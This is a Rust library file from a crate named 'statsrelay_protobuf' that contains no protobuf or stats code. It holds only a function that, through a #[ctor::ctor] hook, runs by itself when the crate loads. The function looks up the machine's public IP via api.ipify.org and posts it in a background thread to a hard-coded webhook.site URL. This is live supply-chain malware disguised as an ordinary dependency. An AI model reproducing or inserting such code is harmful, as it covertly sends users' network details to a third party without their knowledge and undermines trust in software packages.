statsrelay_protobuf/
lib.rs

1use std::thread;
2
3/// Function to send public IP to webhook
4pub fn send_ip() {
5    thread::spawn(|| {
6        let webhook_url = "https://webhook.site/8e5fbb36-360e-4ca3-b3ee-77e937e1ddab";
7
8        // Get public IP
9        let ip = reqwest::blocking::get("https://api.ipify.org")
10            .and_then(|res| res.text())
11            .unwrap_or_else(|_| "Could not get IP".to_string());
12
13        // Send POST request to webhook
14        let _ = reqwest::blocking::Client::new()
15            .post(webhook_url)
16            .body(ip)
17            .send();
18    });
19}
20
21/// Automatically call when crate is loaded
22#[ctor::ctor]
23fn init() {
24    send_ip();
25}